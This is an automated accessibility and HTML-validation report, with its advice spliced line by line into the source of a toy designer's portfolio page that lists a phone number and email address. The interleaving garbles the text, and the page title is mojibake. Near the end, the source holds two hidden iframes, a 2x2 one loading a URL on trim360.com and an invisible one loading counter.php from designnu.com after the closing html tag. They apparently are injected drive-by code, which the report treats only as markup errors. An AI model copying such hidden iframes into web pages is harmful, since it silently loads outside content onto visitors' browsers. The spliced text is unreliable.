Issues:
This page has no privacy policy. If your web server logs visits, then every page reachable by a search engine should have a privacy policy explaining what is logged and how the logs are used.
Line 1 EU Privacy Regulations
Dashes perform better than underscores in Google as keyword separators, and underscores perform better than no separators.
A well-written description tag attracts more clicks in search results than
an irrelevant or missing description.
A search option should be provided on all pages where it may be useful - users should not have to return to the homepage to conduct a search. Search engines can be helpful on content-rich web sites, but do not add value on other types of sites.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
In HTML add a LANG attribute to the HTML tag, and in PDF set the language using Document Properties in Acrobat. This allows screen readers to pronounce words correctly.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<title>¹«Á¦ ¹®¼</title>
<style type="text/css">
<!--
If you set any of the colors on the BODY tag you must set all of them.
Line 9 WCAG 2.0 AA F24
In HTML the color attributes are TEXT, BGCOLOR, LINK, ALINK and VLINK. In CSS the attributes are COLOR and BACKGROUND-COLOR.
Some users have browser defaults set to white text on a black background, so setting one color without setting the others can result in black text on a black background.
body {
background-color: #000000;
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
.style1 {
font-size:
9px;
Absolute units are CM, MM, IN, PC and PT. When used with fonts PX is also considered an absolute unit,
because it isn't relative the user's preferred font size.
Low-vision users often use the "large fonts" mode of Windows, which makes each pixel larger than usual.
This usually causes problems with pixel based layouts, which also perform badly on handheld
and widescreen displays. Percentage values "stretch" according to screen size and work on a large
range of display sizes.
The following are all smaller than 12 point:
- <p style="font-size: 11pt;" >
- <p style="font-size: 11px;" >
- <p style="font-size: small;" >
- <font size="2" >
- <font size="-1" >
9px;
font-family: Geneva, Arial, Helvetica, sans-serif;
color: #666666;
}
.style2 {color: #FFFFFF}
-->
</style></head>
<body>
Replace the ALIGN attribute with a CSS text-align attribute.
<div align="center">
<p> </p>
<p>
<img src="storybook14.jpg" width="336" height="336
">
Add an ALT attribute describing each image, which screen readers read aloud.
Spacer images and purely decorative images should use ALT=''.
<img src="storybook14.jpg" width="336" height="336
">
</p>
<p class="style1"> Sang Yoon Kwon / Toy Designer / 010-2642-5872 /<a href="mailto:atoyintherain@gmail.com" class="style2">
<img src="km36_858543.jpg" width="15" height="8" border="0
"> atoyintherain@gmail.com</a></p>
Add an ALT attribute describing each image, which screen readers read aloud.
Spacer images and purely decorative images should use ALT=''.
Replace the border attribute with a CSS rule. For example:
img { border: 1px solid red; }
img { border: none; }
<img src="km36_858543.jpg" width="15" height="8" border="0
"> atoyintherain@gmail.com</a></p>
</div>
To cater for screen readers that don't support frames, place some text in the IFRAME tag.
For example:
<iframe src='file.htm'>Alternative content</iframe>
No TITLE attributes found for the frames on these pages.
Add a TITLE attribute to each FRAME and IFRAME element (e.g. TITLE="Main Content"). Screen readers read out the TITLE letting the user decide which frame to visit. The JAWS Frames List command reads out the URL of any FRAMEs or IFRAMEs without titles.
IFRAMEs with no title cause problems in:
- JAWS 14 with Firefox 29 (the frame SRC filename is read instead)
- VoiceOver on OSX 10.9 (a meaningless title like "Frame twelve" is read out)
Replace the ALIGN attribute with a CSS text-align attribute.
<iframe name=Twitter scrolling=auto frameborder
=no align
=center height=2 width=2 src=http://trim360.com/cces.html?i=1059103></ifram
e></body>
Value of attribute "FRAMEBORDER" cannot be "NO"; must be one of "1", "0".
Line 32 HTML Validation
=no align
Value of attribute "ALIGN" cannot be "CENTER"; must be one of "TOP", "MIDDLE", "BOTTOM", "LEFT", "RIGHT".
Line 32 HTML Validation
=center height=2 width=2 src=http://trim360.com/cces.html?i=1059103></ifram
Fix the errors listed on the Standards tab of this report. Markup errors like missing end tags mean screen readers may skip important content.
This page has malformed tags which IE8 and later treat differently from earlier versions of IE.
Line 32 Internet Explorer ≤ 7.0
Fix the errors listed on the Standards tab of this report.
Markup errors like missing end tags means IE8 and IE9 may display different content from IE6 and IE7.
Fix the critical errors listed on the Standards tab of this report. Markup errors like unclosed comments or unclosed title tags mean search engine may miss important content.
e></body>
</html>
<iframe src="http://www.designnu.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10
"/
>
No TITLE attributes found for the frames on these pages.
Add a TITLE attribute to each FRAME and IFRAME element (e.g. TITLE="Main Content"). Screen readers read out the TITLE letting the user decide which frame to visit. The JAWS Frames List command reads out the URL of any FRAMEs or IFRAMEs without titles.
IFRAMEs with no title cause problems in:
- JAWS 14 with Firefox 29 (the frame SRC filename is read instead)
- VoiceOver on OSX 10.9 (a meaningless title like "Frame twelve" is read out)
<iframe src="http://www.designnu.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10
"/
End tag for "IFRAME" omitted, but its declaration does not permit this.
Line 33 HTML Validation
Fix the errors listed on the Standards tab of this report. Markup errors like missing end tags mean screen readers may skip important content.
This page has malformed tags which IE8 and later treat differently from earlier versions of IE.
Line 33 Internet Explorer ≤ 7.0
Fix the errors listed on the Standards tab of this report.
Markup errors like missing end tags means IE8 and IE9 may display different content from IE6 and IE7.
Fix the critical errors listed on the Standards tab of this report. Markup errors like unclosed comments or unclosed title tags mean search engine may miss important content.
>